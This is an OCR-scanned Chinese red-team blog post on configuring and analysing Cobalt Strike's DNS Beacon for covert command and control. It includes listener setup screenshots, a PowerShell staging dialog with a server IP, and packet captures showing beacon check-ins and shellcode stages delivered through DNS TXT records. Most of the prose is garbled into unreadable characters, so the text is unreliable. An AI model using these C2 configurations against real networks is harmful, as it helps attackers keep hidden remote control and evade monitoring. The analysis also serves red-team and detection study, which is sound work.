Erinic3 - DNS Beacon - 56X1$#t X

FERIALX, SERZ ALK

0x00 7=

il CS thAR, ZRIRAREARN—LLINEE, (EirEttEHRENZERBRIE T
Webshell (B&IIAEMAYHES, FrA#ER_LET DNS Beacon,

0x01 BEin

}_ERIRAXEAR CERRXFRCE

5 001 PR E

HESRALALE .EJI'LZ.I.ERR?-_"E’-_ﬁ‘.Eﬁ"'I‘fﬁEf-é. EEFARN ML AR BRI RACRENCREROLFAIP, FHRILEnsDRAE AR E R,

Type Name Proxy status
NS ns2
NS nsi

A cs = Auto DNS only

FN—4BiU78, DNS Hostst{5NSIZ SAIATTRAREN Z8K, DNS HostflS ATkt Bt £

[ § New Listener = O

Create a listener.


https://xzfile.aliyuncs.com/media/upload/picture/20200624093146-77c53522-b5ba-1.jpeg

Name: [cs_teamssix_com

Payload: lBeacon DNS

Payload Options

DNS Hosts: cs.teamssix.com
ns1.teamssix.com
ns2.teamssix.com

DNS Host (Stager):| [cs.teamssix.com i

DNS Port (Bind): |

(https://xzfile.aliyuncs.com/media/upload/picture/20200624093146-77c53522-b5ba-
1jpeg)

BickigaEE, BiREE, EEEERIENT,

XHFECERNE, LLt@sErIll, Bkl EE&RIE FEIFXFSEEIR beacon(stageless), X&EH
AT EIREHTRERE, higEMiAARRE beacon RE (HSLB AT SRAIMSABESHIE
&)

Export a stageless Beacon as a Windows executable. Use o
Cobalt Strike Arsenal scripts (Help -> Arsenal) to customize this -

Listener: [ H_|
Output:  [Windows EXE v |
x64: [l Use x64 payload

Generate || Help |
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——— TN -

Strike — d
MAﬂacks Reporting Help

Packages rIE“:‘)iIEE]l&‘l!n

Web Drive-by » |user computer note process | pid

Spear Phish

(https://xzfile.aliyuncs.com/media/upload/picture/20200624093224-8e2623ee-b5ba-

1.jpeg)
&= PS MRARY:

il

This attack hosts an artifact that delivers a full Cobalt
Strike payload. The provided one-liner will allow youto -~

URIPath: |/ |

Local Host: [104.224.176.224 |

Local Port: [80 |

Listener: | | [_J

Type: lpnwershell - ]

x64: [ ] Use x64 payload

qﬁﬂacks Reporting Help !

Packages rIE“:‘)iIEE]l&'l!n
.+ T | S e —
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" IR Manage e | p

Spear Phish Clone Site

SHREM | Host File

Signed Applet Attack
Smart Applet Attack

System Profiler

(https://xzfile.aliyuncs.com/media/upload/picture/20200624094303-0b02f36e-b5bc-
1jpeg)

1XF beacon AU4F R payload KRR, “EREY RAW Payload tB2— 55 Shellcode

Loader By PE 3214 (£ 200KB) A2 —ER shellcode (A2 1KB) , BAZMKBAILUSH

BiINRIBEMRS, ERTEIHERR. ME, ERFFHEEE TR PE XHXFTA
SRR ARIE,

0x02 Beacon

A LEEZIRFF beacon BHAKEBIR? EREGIRHE, BHEFHRANEDLENT.

CS HIBEMAR: —MEMRBFELND, AR TEENENTHEER, B3—F35E

IMEIR, EE2FREC diy RRDERN, DA —EHEST (payload) | {EHIES
(stager) FMEHIUKR (stage) , {EhissiEId FEERIANGEIHEEAEIERILIEIE teamserver

HEF (payload) , MMAZIELEREERINERR.

L EEHAIARE stageless, BB NHEIRE stager 7 stage NS, MaEERELL payload /3

BIRER— NN THES, SRR ERBERN.

m DNS Beacon AR LS HTTP/HTTPS IR, REBEIETREH F ARNMNME. XEE

HEMARIERIMIET DNS Beacon BOT /EETE:


https://xzfile.aliyuncs.com/media/upload/picture/20200624094303-0b02f36e-b5bc-1.jpeg

11D T ORI YU s D el o B e R I 2 R

*

— ask .COM
Root Server
query for is host in my cache? no
1234 profiles.losenolove.com
g answer - ‘ ask LOSENOLOVE.COM
o mmL
Compromised System Local DNS Sen'

' ask PROFILES.LOSENOLOVE.COM

LOSENOLOVE.COM
(godaddy’s server)

answer

PROFILES.LOSENOLOVE.COM
(malwarec2.losenolove.com)

(https://xzfile.aliyuncs.com/media/upload/picture/20200624094318-13efa36e-b5bc-
1.inea)
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JI I

M EBFFLIES, HFA14 CS 1Y teamserver 57— MEZHEEHENM A ICRUNRIEEHE
5 AERAI NS iR, DNS EKMESpE{EINAM DNS RB:HE—2—25|A
teamserver, teamserver E| T IRFiRIVEREREET LA BISRIIIZBEM EZRE
g

BIERER, " AEERRMENE?

0x03 CS4 Flpi{FRIX 5!

DNS Beacon 12 CS4 FSIEEARI—, MM EERTERHICERDALRD, K28
#2 3 ANHEE (FHFFE=RE)  MEEREBEREAXAIN.

CS4 thf) DNS Beacon A 2 EIFAH#AY DNS f5iE, BIEPAREBHAERELA http AIFZ
€5 stage, (BIXMIZEHAEIK(IEFR DNS BENFERE, NR(FRAILIE HTTP FiEBEE
HURTLABARY, TFIRECE KEEAE, IFEEARKIRER DNS IR (BREARRMEKRAIRIM) ?
mEL/EAY DNS Beacon MIZ{XEE T T reverse dns_txt, FiEHRY stage #4/mEBM DNS fxiEH
T, XEEIMALENEREFRE stageless WATLAEIEERIZIEE T stage HFiSk
WRER, RAGEASHERRT.

0x04 Bt

ZinFm, BEREEEANETEEARENE XEZXR EENES]EREE) -
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i

Create a listener.

New Listener

O

Name: |[local - dns

Payload: [Beacon DNS

Payload Options
DMS Hosts:

DNS Host (Stager):
DNS Port (Bind):

profiles . losenclove.com
freepics losenolove.com
game.lasenalwe.cc:m

1prr:rﬁles.los enolove.com

1



https://xzfile.aliyuncs.com/media/upload/picture/20200624094607-78b990d4-b5bc-1.jpeg

[ save.|| Help 1 |

(https://xzfile.aliyuncs.com/media/upload/picture/20200624094607-78b990d4-b5bc-
1jpeg)

XBE—FHASEFRE, &FT 3 4 DNS HOSTS #IAAFIMAIS FEINE—RER, (BESTR
2. AREIEH A ERHSEEARERH, XEEMNEZEZE NS iIER!
HsMFaBathiE, AICRERAEENT IP IR, BESAREEAE T DNS BFkd, BE
7% DNS PRSBZSERE, IR teamserver 1§ IP BELXXK?

EHESZ e RTP, B—2% A ICRIEMA teamserver 1Y IP, HBAEL 1 £52% NS iEEAX%
HEEE, 28R ACR. FMEBIXHE:

.‘E Edit Listener E=Sa=a X |

Create a listener.

Mame:

Payload:

Payload Options

DNS Hosts: pic. p— 7

Xo
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| |
DNS Host (Stager): |pic_gummmg xyz ]
DNS Port (Bind): | ]

(https://xzfile.aliyuncs.com/media/upload/picture/20200624094814-c484397e-b5bc-
1.png)

£ CS FfigE& HOSTS ANINIEEIZAY NS 18R, BcE stager B AEFII— NS iER (AR
REeT
— P IE—#)

.i Edit Listener =aRsN X |

Create a listener.

MName:

L

Payload:

Payload Options

DMNS Hosts: pic .y 7

X

DNS Host (Stager)” |pic gummmg xyz ]
DNS Port (Bind): | ]



https://xzfile.aliyuncs.com/media/upload/picture/20200624094814-c484397e-b5bc-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200624094919-eb7a78fe-b5bc-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20200624094919-eb7a78fe-b5bc-
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RIER AT AR stager BY/NSESH shellcode BEMHERT .

0x05 iR=E
BT, RIBNEEEREER T, AERFMENSERMNIERIENRE.

stageless

BTN stageless FIKEFHHIT, —FHAHE checkin kg, SBXEFE—IR DNS i&EKRIZRZ

LI U A Lt I A T e R R = B == i W Tl T===
N |dns [X] ] +
No. Time Source Destination Protocol Length Info

1 0.000000 172.16.192.154 172.16.192.2 DNS 84 Standard query 8xf485 A 38432fb2.pic.golddog. xyz

2 8.526828 172.16.192.2 172.16.192.154 p .pic.gol
» Frame 2: 100 bytes on wire (8@@ bits), 10@ bytes captured (808 bits) on interface vmnet8, id @
» Ethernet II, Src: VMware_fa:f3:a4 (@@:58:56:fa:f3:a4), Dst: VMware_4e:8d:1f (@0:0c:29:4e:8d:1f)
» Internet Protocol Version 4, Src: 172.16.192.2, Dst: 172.16.192.154
v User Datagram Protocol, Src Port: 53, Dst Port: 50877

Source Port: 53
Destination Port: 508877
Length: 66
Checksum: @xb8e6 [unverified]
[Checksum Status: Unverified]
[Stream index: @]
» [Timestamps]
Domain Name System (response)
Transaction ID: @xf4@5
» Flags: 8x8180 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
v Queries
» 38432Tb2.pic.golddog.xyz: type A, class IN
v Answers
» 38432fb2.pic.golddog.xyz: type A, class IN, addr 8.0.0.0
[Reguest In: 1]
[Time: 9.52682000¢ seconds]

P
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(https://xzfile.aliyuncs.com/media/upload/picture/20200624094952-fed91ea0-b5bc-
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CS hpEEIHEI T — Ghost Beacon:

g

0

| Event Log X | Listeners X | Beacon @ X|

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095006-073a1fae-b5bd-
1jpeg)

XEBEETEREN, BT EEEREER beacon BEEIAN checkin §5%, A%k DNS R%SE:
BASREEGEIESH., —BA chechin, fifieEid—ERETENEKRK— N0 FE, RER
“IP" #B2 0.0.0.0, tITFE:
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2 Time Source Destination Protocol Length Info
181 8.643809 172.16.192.154 172.16.192.2 DNS 83 Standard guery @xd92c A 7f@b676.pic.golddog.xyz
182 8.820485 172.16.192.2 172.16.192.154 DNS 99 Standard query response @xd92c A 7f@b6f6.pic.golddog.xyz A 9.0.0.0
184 37.255596 172.16.192.154 172.16.192.2 DNS 84 Standard guery @x936b A 114ae5f2.pic.golddog.xyz
185 37.259726 172.16.192.2 172.16.192.154 DNS 10@ Standard query response Bx936b A 114ae5f2.pic.golddog.xyz A 9.0.0.0
188 68.845424 172.16.192.154 172.16.192.2 DNS 83 Standard guery @x4d6d A 7T@b6T6.pic.golddog.xyz
189 68.850564 172.16.192.2 172.16.192.154 DNS 99 Standard query response @x4déd A 7f@b6T6.pic.golddog.xyz A 9.0.0.0
198 97.270300 172.16.192.154 172.16.192.2 DNS 84 Standard guery @xe27d A 114ae5f2.pic.golddog.xyz
199 97.276822 172.16.192.2 172.16.192.154 DNS 10@ Standard query response Bxe27d A 114ae5f2.pic.golddog.xyz A 0.0.0.0

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095148-444fd230-b5bd-
1jpeg)

XA, CS _EEtESEIEREER ghost ((BEREES1IAN) . HRITE ghost beacon &
BN checkin @3¢, FT—ROBEF, RBIHHRSIREA—HFRY “IP"  CHOIREESS) |, fig0
checkin 5$33Rz 0.0.0.243, &8 mode dns 35z 0.0.0.241 £, FAEEHA4ES, RES
A LUSIER], TR TE(E:

212 128.859823 1/2.16.192.154 1/2.16.192.2 NS 83 STandard query Uxedb/ A /TODBTb.PLC.JOLOODG.XYZ
213 128.864992 172.16.192.2 172.16.192.154 DNS 99 Standard query response @xe967 A 7f@b6f6.pic.golddog.xyz A 8.0.0.0
214 157.283985 172.16.192.154 172.16.192.2 DNS 84 Standard query 8x3cb2 A 114ae5f2.pic.golddog.xyz

215

157.289816
157.290514

172.16.192.2
172.16.192.154

172.16.192.154
172.16.192.2

216

DNS

182

Standard query response 0x3cb2 A 114ae5f2.pic.golddog.xyz A 0.0.0,243

Standard query 8xddbf A www.188.81fdbdaf5.114ae572.pic.golddog.xyz

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095203-4d4f9334-b5bd-
1jpeg)

fEfEREEER—LENENFER:

q‘uer;r @xelSe A ilﬁisz.pic.éolddag.xyz A 0.0.0.243

141 300.614389 172.16.192.2 172.16.192.154 DNS 180 Standard response

142 300.615039 172.16.192.154 172.16.192.2 DNS 182 Standard query @x75ab A www.180.85e510789.38432fh2. pic.golddog. xyz

143 300.858184 172.16.192.2 172.16.192.154 DNS 118 Standard query response @x75ab A www.180.05e518709.38432fb2.pic.golddog.xyz A 9.0.0.0

144 300.858860 172.16.192.154 172.16.192.2 DNS 311 Standard query @x811d A www.4186a1895e2108c755af8d9268e742c48084797T40.6679cBa5c378bal3caff7f3268E
145 301.855885 172.16.192.2 172.16.192.154 DNS 327 Standard query response Bx811d A 4186a1895e210c755af 2c48084797140.6679cBa5c378bal3ce
146 301.056482 172.16.192.154 172.16.192.2 DNS 148 Standard query @x5793 A www.1d2cc3e7351765705e67bbal6@26581ac2b4d755785768d86. 25e510709.38432b2.
147 3e1.3661€8 172.16.192.2 172.16.192.154 DNS 164 Standard query response @x5793 A www.ld2cc3e73517657b5e67bbal6826501ac2b4d755785768d86.25e510709.
148 301.366860 172.16.192.154 172.16.192.2 DNS 98 Standard query @xeel2 A api.033062a97.38432fb2.pic.golddog.xyz

149 301.557396 172.16.192.2 172.16.192.154 DNS 114 Standard query response @xeel2 A api.@33862a97.38432fb2.pic.golddog.xyz A 0.0.0.64
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FiEZ P ELRABIFHFRESIHEET A IERPEHFHENSE, RINIHETEREER

. REEVEZIRRERI, Bt checkin FIEERES—EME, FHAS& HTTP/HTTPS #B
FEBRE) L2,

B(5id/a, beacon FIEE EZ&T (GEE, BT DNS #iEEASKEREENIEEIDA DNS RS
HARHIEHBNESHO 1P, EXBEASETR external B9 1P k)

/N

DNS hunter 0B90

- v

Event Log X | Listeners X | Beacon 172.16.192.154@628 X | Beacon@ X

[*] Tasked beacon to sleep for 4s
beacon” checkin

[#] Tasked beacon to checkin

[+] host called home, sent: 24 bytes

beacon> sleep 4

[*] Tasked beacon to sleep for ds
[+] host called home, sent: 16 bytes

[0B90] hunter/628 last: 58s

beacon?

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095236-60ebf338-b5bd-
1jpeg)
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BEEHUT—5w<, JURIE—MERIRESSRT TXT IER:

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095310-74e80840-b5bd-
1jpeg)

604 623.519303 172.16.192.154 172.16.192.2 DNS 98 Standard query OxaadB TXT api.1214330d6.38432fb2.pic.golddog.xyz
623.717131 17 172.16.192.154 Standard response 1214330d6.38432b:
606 623.821286 172.16.192.154 172.16.192.2 DNS 103 Standard query ©0x538a A post.130.053780e76.38432fb2.pic.golddog.xyz

687 623.978917 172.16.192.2 172.16.192.154 DNS 119 Standard query response 8x538a A post.138.853780e76.38432fb2.pic.golddog.xyz A 0.8.8.0

608 623.979844 172.16.192.154 172.16.192.2 DNS 198 Standard query 0x837f A post.26a1746bc532ce8ch! 7f2b161e63f3a8a feBb3190..
689 624.195030 172.16.192.2 172.16.192.154 DNS 214 Standard query response @x837f A post.26al7: 7f2b161e6313aBa

610 624.195768 172.16.192.154 172.16.192.2 DNS 103 standard query ©xe8@c A post.130.067fe6253.38432fb2.pic.golddog.xyz

611 624.395877 172.16.192.2 172.16.192.154 DNS 119 Standard query response @xeB8c A post.138.86ffe6253.38432fb2.pic.golddog.xyz A 0.8.8.0

612 624.396525 172.16.192.154 172.16.192.2 DNS 198 Standard query 0x6fd5 A post.2df8d772b9c4dSefe951daldf8d593b076d4feee2bdbb52e0. fca29dob6032903b10...
613 624.607891 172.16.192.2 172.16.192.154 DNS 214 Standard query response @x6fd5 A post.2df8d77 1da: f 6b52e0. f l
615 629.616769 172.16.192.154 172.16.192.2 DNS 84 Standard query ©0x51a2 A 38432fb2.pic.golddog.xyz

616 629.619984 172.16.192.2 172.16.192.154 DNS 100 Standard query response 8x51a2 A 38432fb2.pic.golddog.xyz A 8.8.0.242

617 629.620449 172.16.192.154 172.16.192.2 DNS 98 Standard query @x76cf A api.@1b3b@2ba.38432fb2.pic.golddog.xyz

618 £29.827279 172.16.192.2 172.16.192.154 DNS 114 Standard auerv resnonse @x76cf A ani.@1h3bA2ha.38432fh2.nic.anlddoa.xvz A 0.0.0.8

[Checksum Status: Unverified]
[Stream index: 173]
[Timestamps]
Domain Name System (response)
Transaction ID: @xaad8
Flags: @x8180 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
Queries
api.1214330d6.38432b2. pic.golddog. xyz: type TXT, class IN
Answers
api.1214330d6.38432b2. pic.golddog. xyz: type TXT, class IN
Name: api.1214338d6.38432fb2.pic.golddog.xyz
Type: TXT (Text strings) (16)
Class: IN (@x@001)
Time to live: 5 (5 seconds)
Data length: 173
TXT Length: 172
TXT: h30E9PIIDBQKAKNePs7mTm4UyRwGkc/EweAGpqFIQxgPHStkIU23VX8ChAX rXAWC fBN/+Pquo2QMiATLKUoy7mygPNSUF jhSPirCuzulC3Vv/0fHD ] vPnUAQQyKRCZ0COZ1YMTvgaRzx2UALKDFc75Txc25ZsFKkF5IRNAhfWhI=
[Reauest In: 60841
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[Time: ©.19782806@0 seconds]

0020 c@ 9a 8@ 35 cb 28 0@ 9 61 9a aa dB 81 80 08 81 =5-(-- B

00 01 0@ @0 @0 00 03 61 7@ 69 09 31 32 31 34 33 a pi-12143
33 30 64 36 08 33 38 34 33 32 66 62 32 03 70 69  30d6-384 32fb2-pi
63 07 67 6f 6C 64 64 6f 67 03 78 79 7a 00 00 10 c golddo g-xyz

00 01 c@ Bc 00 10 00 01 @0 00 00 @5 @0 ad ac 68 h
33 6f 45 39 50 39 49 44 42 51 4b 34 4b de 65 50  30E9PIID BOK4KNeP
73 37 6d 54 6d 34 55 79 52 77 47 6b 63 2f 45 77  s7mTmdly RwGkc/Ew
65 41 47 70 71 46 4a 51 78 67 50 48 53 74 6b 4a  eAGpgFIQ xgPHStk]
55 32 33 56 58 38 43 68 41 78 72 58 41 77 43 66  U23VXBCh AxrXAwCf
42 4e 2f 2b 50 71 75 6f 32 51 4d 69 41 54 4c 4b  BN/+Pquo 2QMIATLK
55 6f 79 37 6d 79 67 50 4e 53 75 46 b6a 68 53 50  Uoy7mygP NSUFjhSP
69 72 43 75 7a 75 6c 43 33 56 76 2f 4f 66 48 44  irCuzulC 3Vw/0THD
6a 76 50 6e 75 41 71 71 79 4b 52 43 7a 4f 43 30 jvPnuAgqg yKRCzOC®

R ———

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095325-7ddee91e-b5bd-
1jpeg)

RIEEI IR, CS4 pE=MEIRERIEIN, Al AAAA TXT, BUAR TXT, RILXER
A BRAZHRFOBMIEARERE, EHEERAERE TXT /Y.

stager

T stager EE T & stage HSFRIEIEINAK, RE—TFRRBIEE— N NEEUET

2.

PTHBRES=4EREN TXT 5K, HPEEEINZS Base64 fHiBAY, TANEMEFHNAS
(FBfEtINEREME stage) . EXMNMIFEFRIZE Ghost Beacon

F2RAY:
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4 172.16.192.154 Standard query response 8x2334 TXT aaa.stage.1716946.pic.golddog.xyz TXT
5 2.682815 172.16.192.154 172.16.192.2 DNS Standard query @x7763 TXT baa.stage.1716946.pic.golddog.xyz
6 2.872668 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x7763 TXT baa.stage.1716946.pic.golddog.xyz TXT
7 2.873913 172.16.192.154 172.16.192.2 DNS 93 Standard query @x44@c TXT caa.stage.1716946.pic.golddog.xyz
9 3.949105 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x440c TXT caa.stage.1716946.pic.golddog.xyz TXT
10 3.051031 172.16.192.154 172.16.192.2 DNS 93 Standard query @x548b TXT daa.stage.1716946.pic.golddog.xyz
11 3.288437 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x54@b TXT d; 1< 1716946.pic.golddog.xyz TXT
12 3.290181 172.16.192.154 172.16.192.2 DNS 93 Standard query @xca2zd TXT eaa.stage.1716946.pic.golddog.xyz
13 3.479650 172.16.192.2 172.16.192.154 DNS 361 Standard query response @xca2d TXT eaa.stage.1716946.pic.golddog.xyz TXT
14 3.481543 172.16.192.154 172.16.192.2 DNS 93 Standard query @xdedl TXT faa.stage.1716946.pic.golddog.xyz
15 3.661592 172.16.192.2 172.16.192.154 DNS 361 Standard query response @xdedl TXT faa.stage.1716946.pic.golddog.xyz TXT
16 3.663547 172.16.192.154 172.16.192.2 DNS 93 Standard query 8x5893 TXT gaa.stage.1716946.pic.golddog.xyz
17 3.870575 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x5893 TXT gaa.stage.1716946.pic.golddog.xyz TXT
18 3.872068 172.16.192.154 172.16.192.2 DNS 93 Standard query @x6a7e TXT haa.stage.1716946.pic.golddog.xyz
19 4.064763 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x6a7e TXT haa.stage.1716946.pic.golddog.xyz TXT
20 4.966203 172.16.192.154 172.16.192.2 DNS 93 Standard query @x6bb6 TXT iaa.stage.1716946.pic.golddog.xyz
21 4.259141 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x6bb6 TXT iaa.stage.1716946.pic.golddog.xyz TXT
22 4.260672 172.16.192.154 172.16.192.2 DNS 93 Standard query @xc3le TXT jaa.stage.1716946.pic.golddog.xyz
23 4.457148 172.16.192.2 172.16.192.154 DNS 361 Standard query response @xc3le TXT jaa.stage.1716946.pic.golddog.xyz TXT
24 4.458858 172.16.192.154 172.16.192.2 DNS 93 Standard query @x2@ca TXT kaa.stage.1716946.pic.golddog.xyz
26 4.670702 172.16.192.2 172.16.192.154 DNS 361 Standard query response @x2@ca TXT kaa.stage.1716946.pic.golddog.xyz TXT
v User Datagram Protocol, Src Port: 53, Dst Port: 49636
Source Port: 53
Destination Port: 49636
Length: 327
Checksum: @xf3bc [unverified]
[Checksum Status: Unverified]
[Stream index: 1]
» [Timestamps]
v Domain Name System (response)

Transaction ID: 8x2334
» Flags: @x8188 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
¥ Queries
» aaa.stage.1716946.pic.golddog.xyz: type TXT, class IN
v Answers
v aaa.stage.1716946.pic.golddog.xyz: type TXT, class IN
Name: aaa.stage.1716946.pic.golddog.xyz
Type: TXT (Text strings) (16)
Class: IN (9x@001)

cd 9a @0 35 cl ed4 01 47 T3 bc 23 34 81 82 00 01 2 G se#4
00 01 00 00 00 00 03 61 61 61 @5 73 74 61 67 65 a aa-stage
@7 31 37 31 36 39 34 36 03 70 69 63 @7 67 6f 6¢C 1716946 -pic-gol
64 64 67 67 @3 78 79 7a 90 @0 10 00 01 @ Oc 00 ddog'xyz « -
10 00 01 00 @0 00 05 01 @@ T 57 59 49 49 49 49 WYIIIT
070 49 49 49 49 49 49 49 49 49 49 49 49 37 51 5a ba  IIIIIIII IIIIVQZ)
00808 41 58 50 30 41 30 41 6b 41 41 51 32 41 42 32 42 AXPOAQAK AAQ2AB2B
0098 42 30 42 42 41 42 58 50 38 41 42 75 4a 49 49 6c  BOBBABXP BABuJIIL
00a0 6a 48 73 30 77 70 77 70 75 50 6a 4b 30 4e 61 4d  JHs@wpwp uPjKBNaM
©@0b8  6c 4b 31 55 65 50 4c 79 63 57 72 4f 55 37 32 4f  1K1UePLy cWrOU720
@0c 4de 63 79 55 76 61 34 79 68 43 64 35 69 61 4c 43 NcyUvady hHd51ialC
00de 4b 75 57 73 61 45 36 51 7a 56 5@ 31 69 6T 54 71  KuwsaE6Q zVPlioTq
@0ed  4b 6b 43 56 6e Bb 43 6c 64 75 55 5@ 4e 59 35 31  KkCWnkCLl duUPNY51
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17216192154 DNS artifact exe 3436

EventLog X | Listeners X | Beacon 172.16.192.154@628 X | Beacon @ X | Beacon @ X | Beacon 172.16.192.154@3436 X
eacon” checki

eacon to sleep for bs
[+] host called home, sent: 24 bytes

(https://xzfile.aliyuncs.com/media/upload/picture/20200624095532-c9911f62-b5bd-
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0x06 xF BUG

ZrREME, BaIk LA TEAIBBNMEREMRES BUG B9, checkin a5, teamserver
RSB imFANRUERIEEES.

BiRE CS EAFMEHA, HITHSHIHES BT checkin, £MIK7E Ghost beacon
W/EHAN mode dns, BEJLABKIN checkin, [E4CUN5REGk A ICRBEEEE, TJLAEA mode
dns-txt tJiz[E]5kE,

0x07 XFEiRiE(E

DNS BEEFRANXS TCP AEMAYARIE, EARSHISRIBEEENBILIRIGYTE, HEERIET
DNS #isikEE LA

chashell (https://github.com/sysdream/chashell)

DNSlivery (https://github.com/noObe/DNSlivery)

IMEFAN ICMP BFERIT R, BERWeLUMEE:

icmptunnel (https://github.com/DhavalKapil/icmptunnel)
EXATEARENEHRNREMITITINELE, NRENAESSEPIRREEXN B MM —LE
.


https://github.com/sysdream/chashell
https://github.com/no0be/DNSlivery
https://github.com/DhavalKapil/icmptunnel

